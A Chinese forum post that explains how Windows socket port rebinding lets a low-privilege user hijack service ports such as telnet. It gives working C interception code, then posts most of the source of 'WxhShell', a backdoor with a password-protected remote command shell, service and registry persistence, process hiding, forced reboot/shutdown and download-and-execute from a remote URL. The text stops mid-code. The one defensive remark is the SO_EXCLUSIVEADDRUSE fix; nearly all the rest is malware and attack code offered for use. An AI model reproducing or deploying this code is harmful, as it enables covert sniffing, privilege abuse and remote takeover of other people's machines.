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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V`d,qn)i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _LUhZlw  
,~$p,ALwN7  
  saddr.sin_family = AF_INET; ~ 'H ]jN  
n;C :0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $}q23  
GPv1fearl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LTCb@L{^i  
YnS#H"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wn, KY$/  
DE8n+Rm  
  这意味着什么?意味着可以进行如下的攻击: #PW9:_BE  
 #ut  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]e^&aR5f"  
Jk11fn;\>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kGS;s B  
qu@~g cE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rjAn@!|:+  
T#Z^s~7&I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o5O#vW2Il&  
c?*=|}N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k[YS8g-Q  
z`}qkbvi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *3FKt&v 0  
2'\H\|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dNH08q8P  
$am$ EU?s  
  #include Xp% v.M  
  #include wqs? 828x  
  #include Hqx-~hQO  
  #include    e@ 07  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hJ? O],4J  
  int main() [`[|l  
  { ^_W#+>&--  
  WORD wVersionRequested; aEWWP]  
  DWORD ret; 1Z2HUzqh.  
  WSADATA wsaData; A#<?4&  
  BOOL val; 4Uo&d#o)C-  
  SOCKADDR_IN saddr; W:nef<WH  
  SOCKADDR_IN scaddr; On.{!:"I/  
  int err; rJT a  
  SOCKET s; q5+4S5R*^  
  SOCKET sc; $dC?Tl|B0  
  int caddsize; EU;9 *W<  
  HANDLE mt; >dD@j:Qc  
  DWORD tid;   1{. |+S Z!  
  wVersionRequested = MAKEWORD( 2, 2 ); 70nqD>M4  
  err = WSAStartup( wVersionRequested, &wsaData ); GPudaF{  
  if ( err != 0 ) { X-Kh(Z  
  printf("error!WSAStartup failed!\n"); T!kN)#S  
  return -1; n\'4  
  } 1#2 I  
  saddr.sin_family = AF_INET; B{#I:Rs9  
   (gU!=F?#m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T/~f~Zz  
Bahm]2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |F[+k e  
  saddr.sin_port = htons(23); KqJs?Won  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 50wulGJud  
  { 9>/4W.  
  printf("error!socket failed!\n"); #x60xz  
  return -1; 9T9!kb  
  } _Y4` xv0/  
  val = TRUE; Y =I'czg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =v&hWjP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Q;l(fdj  
  { n'LrQU  
  printf("error!setsockopt failed!\n"); [yQt^!;  
  return -1; _8J.fT$${  
  } Rsk4L0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $GcqBg-Hi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]p GL`ge5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q`7PhA  
:\c ^*K(9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ie95rZp  
  { a#k6&3m&  
  ret=GetLastError(); k%#EEMh  
  printf("error!bind failed!\n"); 4.aZ# c91_  
  return -1; FVbb2Y?R  
  } Lg.gfny[(t  
  listen(s,2); R+z2}}Z!`  
  while(1) Y\P8 v  
  { #p&qUw  
  caddsize = sizeof(scaddr); 7Q9 w?y~c  
  //接受连接请求 [ l??A3G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q"d^_z ]K  
  if(sc!=INVALID_SOCKET) &PHTpkaam  
  { _D&598xx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4k1xy##  
  if(mt==NULL) yx[/|nZDC4  
  {  7xlkZF  
  printf("Thread Creat Failed!\n"); eC4[AX6e  
  break; 8kIksy  
  } 2@],ZLa  
  } ML 9' |  
  CloseHandle(mt); )2o?#8J  
  } O 8r|8]o  
  closesocket(s); pah'>dAL  
  WSACleanup(); b_taC^-l  
  return 0;  |>^JRx  
  }   SKN`2hD  
  DWORD WINAPI ClientThread(LPVOID lpParam) /36:ms A  
  { G~a ZJ,  
  SOCKET ss = (SOCKET)lpParam; {}przrU^c  
  SOCKET sc; &Z@o Q  
  unsigned char buf[4096]; RbnVL$c  
  SOCKADDR_IN saddr; ,[KD,)3y  
  long num; &6!)jIWJ  
  DWORD val; *N<]Xy @  
  DWORD ret; ,ZNq,$j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;igIZ$&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c)85=T6*aA  
  saddr.sin_family = AF_INET; sl l\g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]F~dlH1Wp  
  saddr.sin_port = htons(23); ="H`V V_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5C ]x!>kX  
  { $a]`nLUa  
  printf("error!socket failed!\n"); 2F.;;Ab  
  return -1; ADzhNf S  
  } 'IQ0{&EI  
  val = 100; H*R"ntI?w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }($5k]]clP  
  { tDcT%D {:  
  ret = GetLastError(); "(O>=F&  
  return -1; JH9J5%sp  
  } LH% F 8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vvMT}-!  
  { CAhXQ7w'Z  
  ret = GetLastError(); gr2U6gi  
  return -1; FW4<5~'  
  } W{+2/P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3nQ`]5.Q w  
  { \M^bD4';>  
  printf("error!socket connect failed!\n"); Qw*|qGvy^  
  closesocket(sc); C&%_a~  
  closesocket(ss); ^ZcGY+/~  
  return -1; {!L~@r  
  } /([kh~a  
  while(1) Lqa4Vi  
  { #;yZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =; Ff4aF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N4!O.POP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x 9fip-  
  num = recv(ss,buf,4096,0); 6 H$FhJF  
  if(num>0) -Q*gW2KmV  
  send(sc,buf,num,0); O^ yG?b  
  else if(num==0) 24eLB? H  
  break; T8$y[W-c  
  num = recv(sc,buf,4096,0); A;M'LM-M  
  if(num>0) u6JM]kR  
  send(ss,buf,num,0); V)25$aKW7  
  else if(num==0) }Sv:`9=  
  break; Y$_B1_  
  } wc4=VC"y  
  closesocket(ss); 0GeTS Fj  
  closesocket(sc); usF.bkTp  
  return 0 ; 8l`*]1.W<  
  } #*Ctwl,T  
4!?eRY  
y<Ot)fa$  
========================================================== 7!E,V:bt'  
} q8ASYNc  
下边附上一个代码,,WXhSHELL zrb}_  
 =7eV/3  
========================================================== 8d'0N  
W'TZ%K) I  
#include "stdafx.h" f-Z/t fC  
26h21Z16q  
#include <stdio.h> eSq.GtI  
#include <string.h> b \2 ds,  
#include <windows.h> %'pgGC"|  
#include <winsock2.h> I!K6o.|1  
#include <winsvc.h> 3!]rmZ-W  
#include <urlmon.h> xA*<0O\V  
> ~O.@|  
#pragma comment (lib, "Ws2_32.lib") Gd85kY@w7  
#pragma comment (lib, "urlmon.lib") JWxwJex  
gPPkT"  
#define MAX_USER   100 // 最大客户端连接数 RA L~!"W  
#define BUF_SOCK   200 // sock buffer  @q) d  
#define KEY_BUFF   255 // 输入 buffer (sZ"iGn%  
6'f;-2  
#define REBOOT     0   // 重启 ckCE1e>s  
#define SHUTDOWN   1   // 关机 mC#>33{  
0g8NHkM:2a  
#define DEF_PORT   5000 // 监听端口 `ERz\`d~Y;  
M_DwUS 1?  
#define REG_LEN     16   // 注册表键长度 +N U G  
#define SVC_LEN     80   // NT服务名长度 X &H"51  
5{,<j\#L  
// 从dll定义API W"{N Bi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8quaXVj^a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z% UP6%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'I;zJ`Trd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $XH^~i;  
Eu3E-K@y  
// wxhshell配置信息 ");a3hD  
struct WSCFG { `R^gU]Z,  
  int ws_port;         // 监听端口 $6IJ P\  
  char ws_passstr[REG_LEN]; // 口令 Nh +H9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5z)~\;[ -  
  char ws_regname[REG_LEN]; // 注册表键名 }Q+|W=2t  
  char ws_svcname[REG_LEN]; // 服务名 JBZ@'8eqi]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WcGS9`m/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @=u3ZVD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ns4,@C$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jL}v9$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OY({.uVdX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hDGF7  
E]r?{t`]  
}; owv[M6lbD  
H\[W/"  
// default Wxhshell configuration wMN]~|z>  
struct WSCFG wscfg={DEF_PORT, &K,i f  
    "xuhuanlingzhe", Tlr v={  
    1, S+lqA-:  
    "Wxhshell", "0TZTa1e  
    "Wxhshell", I q.*8Oc  
            "WxhShell Service", tZo} ;|~'  
    "Wrsky Windows CmdShell Service", u ^RxD^=L  
    "Please Input Your Password: ", LDa1X2N  
  1, GC'O[q+  
  "http://www.wrsky.com/wxhshell.exe", j'K/22  
  "Wxhshell.exe" Ax}JLPz5'  
    }; _@/8gPT*i  
^LLzZnkcZ  
// 消息定义模块 k9F=8q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c&Q$L }  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Z4et'Lo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?aMOZn?  
char *msg_ws_ext="\n\rExit."; 69.NPy@  
char *msg_ws_end="\n\rQuit."; TD_Oo-+\  
char *msg_ws_boot="\n\rReboot..."; *Pg2c(Vg  
char *msg_ws_poff="\n\rShutdown..."; ySI !d|_  
char *msg_ws_down="\n\rSave to "; /qw.p#  
PPsE${!  
char *msg_ws_err="\n\rErr!"; \l3h0R  
char *msg_ws_ok="\n\rOK!"; =Fl^`*n  
T51 `oZ`  
char ExeFile[MAX_PATH]; > Nr#O  
int nUser = 0; _SkLYL!=9  
HANDLE handles[MAX_USER]; akQ7K  
int OsIsNt; }ad|g6i`  
[Vt\$  
SERVICE_STATUS       serviceStatus; 8dhUBJ0_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =vhm}  
<a+Z;>  
// 函数声明 QmIBaMI#  
int Install(void); Z?z.?a r  
int Uninstall(void); ? =+WRjF  
int DownloadFile(char *sURL, SOCKET wsh); E_LN]v  
int Boot(int flag); I2Yz#V<%ru  
void HideProc(void); Z/J y'$x  
int GetOsVer(void); #$y?v%^  
int Wxhshell(SOCKET wsl); T[A 69O]v  
void TalkWithClient(void *cs); :~^ (g$Z  
int CmdShell(SOCKET sock); L/^I*p,  
int StartFromService(void); ?z u8)U  
int StartWxhshell(LPSTR lpCmdLine); >o,TZc\  
"zy7C*)>r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I<tm"?q0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8\gjST*  
v.5+7,4  
// 数据结构和表定义 )dSi/  
SERVICE_TABLE_ENTRY DispatchTable[] = 4X|zmr:A  
{ xN%K^Tree  
{wscfg.ws_svcname, NTServiceMain}, ;bhT@aB1  
{NULL, NULL} uW3!Yg@  
}; WjqO@]P6  
v*yuE5{  
// 自我安装 |zE'd!7E  
int Install(void) h)nG)|c  
{ " 2Dngw  
  char svExeFile[MAX_PATH]; FxtI"g\0  
  HKEY key; POR\e|hRT]  
  strcpy(svExeFile,ExeFile); VLN_w$iEq  
e?f IXk~b  
// 如果是win9x系统,修改注册表设为自启动 #R RRu2  
if(!OsIsNt) { >lM l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &jr3B;g!C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & ZB  
  RegCloseKey(key); 1ZRT:N<-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;jTN | i'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9~YMyg(Z  
  RegCloseKey(key); O|UC ?]6  
  return 0; {FTqu.  
    } nt.y !k  
  } WOf 4o  
} 4v|W-h"K  
else { u> / TE  
61 ~upQaR  
// 如果是NT以上系统,安装为系统服务 t&Og$@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BL58] P84  
if (schSCManager!=0) xAP+FWyV  
{ (_{y B[z>`  
  SC_HANDLE schService = CreateService '[O;zJN;  
  ( uRe'%?W  
  schSCManager, da~],MN  
  wscfg.ws_svcname, tFl"n;~T  
  wscfg.ws_svcdisp, KCDE{za  
  SERVICE_ALL_ACCESS, P L+sR3bR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1g~R/*Jo  
  SERVICE_AUTO_START, j 1HW._G  
  SERVICE_ERROR_NORMAL, /|#fejPh  
  svExeFile, S#[j )U-  
  NULL, 8e"gW >f  
  NULL, 0Fr?^3h  
  NULL, Oz#{S:24M+  
  NULL, d*Fj3Wkx  
  NULL Q)z8PQl O  
  ); sFTy(A/  
  if (schService!=0) ji,kkipY?w  
  { RY*U"G0#w  
  CloseServiceHandle(schService); qb` \)X]9  
  CloseServiceHandle(schSCManager); f'3$9x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VgS_s k  
  strcat(svExeFile,wscfg.ws_svcname); rk)`\=No  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dcWD(-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y$R_.KbO  
  RegCloseKey(key); ##4HYQ%E  
  return 0; Mh 7DV  
    } )sQ*Rd@t[8  
  } -RK- Fu<e  
  CloseServiceHandle(schSCManager); uhutg,[  
} m<2M4u   
} Pd]|:W< E  
9]o-O]7/  
return 1; W'u>#  
} -;k+GrLr^  
"Os_vlapHo  
// 自我卸载 xFg>SJ7]  
int Uninstall(void) u,Kly<0j  
{ S?BG_J6A7  
  HKEY key; dN[\xVcj  
1 I",L&S1  
if(!OsIsNt) { Ef13Q]9|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &UlWCOo8  
  RegDeleteValue(key,wscfg.ws_regname); CQDkFQq-dq  
  RegCloseKey(key); 1hNq8*|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *bpD`s @  
  RegDeleteValue(key,wscfg.ws_regname); 6/dI6C!  
  RegCloseKey(key); Tkgs]q79  
  return 0; IRqy%@)  
  } 42ivT_H  
} iM 3V=&)  
} i8HTzv"J  
else { 8Kk(8a&v  
DrK{}uM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8BNi1Qn$  
if (schSCManager!=0) I ?.^ho  
{ LvYB7<zk>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m/EFHS49  
  if (schService!=0) 4#hSJ(~7S  
  { cDkf qcC  
  if(DeleteService(schService)!=0) { V,N%;iB}  
  CloseServiceHandle(schService); t}tEvh  
  CloseServiceHandle(schSCManager); `&6dnSC},P  
  return 0; K8Y=S12Ti  
  } 4)o  
  CloseServiceHandle(schService); $\y'I Q%  
  } EI^C{ $Y  
  CloseServiceHandle(schSCManager); G[q$QB+  
} `%WU8Yv  
} cD'V>[h  
fw{gx  
return 1; Q6I:"2u1  
} =+d?x 56  
W#3Q ^Z?  
// 从指定url下载文件 e6RPIg  
int DownloadFile(char *sURL, SOCKET wsh) Rr|VD@%  
{ o J;$sj  
  HRESULT hr; L4y4RG/SJ:  
char seps[]= "/"; s.NGA.]$  
char *token; \d$!a5LF}  
char *file; _b;{_g  
char myURL[MAX_PATH]; y7Df_|Z  
char myFILE[MAX_PATH]; N_[*H  
e'D&8z_;  
strcpy(myURL,sURL); I"7u2"@-8j  
  token=strtok(myURL,seps); LTx,cP  
  while(token!=NULL) ]f9Cx\d:k  
  { 5iyd Z  
    file=token; WbqWG^W  
  token=strtok(NULL,seps); ]+:^W^bs:  
  } (;^syJrh  
J!U}iD@occ  
GetCurrentDirectory(MAX_PATH,myFILE); S\!ana])  
strcat(myFILE, "\\"); pr UM-u8  
strcat(myFILE, file);  t[ C/  
  send(wsh,myFILE,strlen(myFILE),0); 6ar   
send(wsh,"...",3,0); w!clI8v/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z Sd4z:/  
  if(hr==S_OK) Pce;r*9  
return 0; cJ @Wt>YI  
else 03S]8l  
return 1; HBx=\%;n  
Z^MNf  
} !^Y(^RS@  
6MdiY1Lr!K  
// 系统电源模块 agW@ {c  
int Boot(int flag) ysf~|r4s  
{ W'+:'_{j:  
  HANDLE hToken; ax5<#3__  
  TOKEN_PRIVILEGES tkp; ur7q [n  
ut/=R !(K  
  if(OsIsNt) { =D#bb <o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :$BCRQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); um>6z_"  
    tkp.PrivilegeCount = 1; G<rHkt@[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #d2.\X}A"3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z]D69O b  
if(flag==REBOOT) { FZE"7ec>m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bad:n o\W  
  return 0; O~K>4 ax  
} gi _5?$  
else { N7 $I^?<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :^3LvPM  
  return 0; g0ly  
} i3'9>"`  
  } T\ >a!  
  else { .O}%  
if(flag==REBOOT) { dP]\Jo=Yh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `W/>XZl+t  
  return 0; &t:Gx<]  
} xw2[d+mB  
else { Ur=(.%@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A*P|e-&Q8  
  return 0; p hzKm9  
} VYImI>.t{  
} bsA-2*Q+  
Z+. '>  
return 1; 0eu$ W  
} } .y 1;.  
xx9 g''Q  
// win9x进程隐藏模块 v+#}rUTF  
void HideProc(void) !"/n/jz  
{ fbKkq.w  
F Yzi~L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n!xt5=x P{  
  if ( hKernel != NULL ) =wOm}V8 N&  
  { (~wqa 3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aa#Y=%^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P&ptJtNg  
    FreeLibrary(hKernel); v~V!ayn)wQ  
  } ``\i58K{e  
v)t:|Q{I  
return; *XbEiMJ  
} jun_QiU:2  
4DOH`6#an  
// 获取操作系统版本 bITPQ7+  
int GetOsVer(void) 8xV9.4S  
{ VZymM<O  
  OSVERSIONINFO winfo; IIF] /Ek]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6NM:DI\%  
  GetVersionEx(&winfo); p#?7 w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  s ;oQS5Y  
  return 1; [] `&vWZ  
  else dDGgvi|[Mz  
  return 0; I]<_rN8~o  
} #_J@-f7^  
IsM}' .  
// 客户端句柄模块 ()Y4v  
int Wxhshell(SOCKET wsl) ,p2s:&"  
{ 7- ] as$  
  SOCKET wsh; MVTMwwO\[  
  struct sockaddr_in client; o` ZQd,3  
  DWORD myID; ;q:zT\A  
B~JwHwIhA  
  while(nUser<MAX_USER) &U raUl  
{ "2P&X  
  int nSize=sizeof(client); ,dov<U[ia  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D2!X?"[ P  
  if(wsh==INVALID_SOCKET) return 1; v~V5`%  
CBOi`bEf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PMh^(j[  
if(handles[nUser]==0) f3&[#%  
  closesocket(wsh); 9S7 kUl{  
else KJ=6n%6  
  nUser++; D@|W<i-  
  } =Z+nz^'b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5b/|!{  
p|jV{P  
  return 0; ^3{TZ=_;|  
} 8XzR wYV  
3'qJ/*]9  
// 关闭 socket AW_(T\P:u  
void CloseIt(SOCKET wsh) [*HN"  
{ V7[zAq  
closesocket(wsh); WObvbaK  
nUser--; /VzI'^  
ExitThread(0); C\nhqkn  
} T[uiPs /xD  
MHai%E  
// 客户端请求句柄 *R3f{/DK  
void TalkWithClient(void *cs) 7L@K _ZJ  
{ Q7$.LEioN  
te !S09(  
  SOCKET wsh=(SOCKET)cs; H nUYqhZS  
  char pwd[SVC_LEN]; %8Dz o  
  char cmd[KEY_BUFF]; Bj}^\Pc;}  
char chr[1]; a,+@|TJ,i  
int i,j; $Y_i4(  
{]_r W/  
  while (nUser < MAX_USER) { ./D$dbu3  
?a8(a zn  
if(wscfg.ws_passstr) { pT1[<X!<s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q7C;1aO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=q;@OIf  
  //ZeroMemory(pwd,KEY_BUFF); q7Dw _<  
      i=0; o{EC&-  
  while(i<SVC_LEN) { iMFgmM|  
E%v?t1>/  
  // 设置超时 }gMDXy}  
  fd_set FdRead; 4e;y G>  
  struct timeval TimeOut; GbA.UM ~  
  FD_ZERO(&FdRead); f<*Js)k  
  FD_SET(wsh,&FdRead); MR,R}B$  
  TimeOut.tv_sec=8; I,VH=Yn5,  
  TimeOut.tv_usec=0; 3a 1u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nF4a-H&Fo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .OqSch|  
Qb; d:@9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M=*bh5t%]  
  pwd=chr[0]; x^y"<  
  if(chr[0]==0xd || chr[0]==0xa) { Ra/Ukv_v  
  pwd=0; RJH,  
  break; .8uz 6~  
  } bY2 C]r(n  
  i++; xD /9F18  
    } ?N=m<fn  
;?~$h-9)  
  // 如果是非法用户,关闭 socket |*Yf.-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ND,Kldji  
}  "t$k  
>Clh] ;K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `#QG6/0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8M2 ^{O,`  
ww{_c]My  
while(1) { P^Q[-e{  
k@D0 {z  
  ZeroMemory(cmd,KEY_BUFF); OxtOd\0$  
q4$+H{xB  
      // 自动支持客户端 telnet标准   GK}'R=   
  j=0; !k(_PM  
  while(j<KEY_BUFF) { f0SAP0M3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J5[~LZKW  
  cmd[j]=chr[0]; :!f(F9  
  if(chr[0]==0xa || chr[0]==0xd) { J.+BD\pa  
  cmd[j]=0; z6~ H:k1G%  
  break; j! NO|&k  
  } 1?Aga,~k:a  
  j++; $hVYTy~}  
    } 4YMX|1wd)  
0Hw-59MK  
  // 下载文件 #Hh^3N  
  if(strstr(cmd,"http://")) { /DO/Tqdfe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uw7{>9  
  if(DownloadFile(cmd,wsh)) N_Af3R1_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf9_eP  
  else *Sf -; U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QIn/,Yd  
  } V' 2EPYB  
  else { l  n }}5Q  
m:O(+Fl  
    switch(cmd[0]) { {,j6\Cj4  
  RQvVR  
  // 帮助 t.hm9}UQ  
  case '?': { QI[}(O7#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yISD/ g  
    break; w*w?S  
  } :y,v&Kk#T  
  // 安装 8Chu"PM%-J  
  case 'i': { nxap\Lf  
    if(Install()) $ Cjk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Gr&p6  
    else D 0]a\,aZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#K'6VK{  
    break; y466A]|  
    } i(wgB\9i4  
  // 卸载 dow^*{fqZ  
  case 'r': { B7-RU<n  
    if(Uninstall()) 9f}XRz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )06iV  
    else "n\%_'R\hH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E)t  
    break; 4R) |->"  
    } <3O T>E[  
  // 显示 wxhshell 所在路径 =j /hl  
  case 'p': { I7\ &Z q  
    char svExeFile[MAX_PATH]; &,-p',\-  
    strcpy(svExeFile,"\n\r"); #G,XDW2"w  
      strcat(svExeFile,ExeFile); xwzT#DXGJ  
        send(wsh,svExeFile,strlen(svExeFile),0); Rh] P8  
    break; {R&ZqEo'D  
    } ;? uC=o>Z{  
  // 重启 _NdLcpBT?  
  case 'b': { OalP1Gy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2+9 2Q_+  
    if(Boot(REBOOT)) =O{~Q3z@s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'CS.p!Z\  
    else { 9g?xlue#?  
    closesocket(wsh); c! H 9yk  
    ExitThread(0); r.FLGD U  
    } ~k4W<   
    break; ^,2c-  
    } ,i ++fOnQ  
  // 关机 L,-u.vV  
  case 'd': { JAn1{<Ky  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2neRJ  
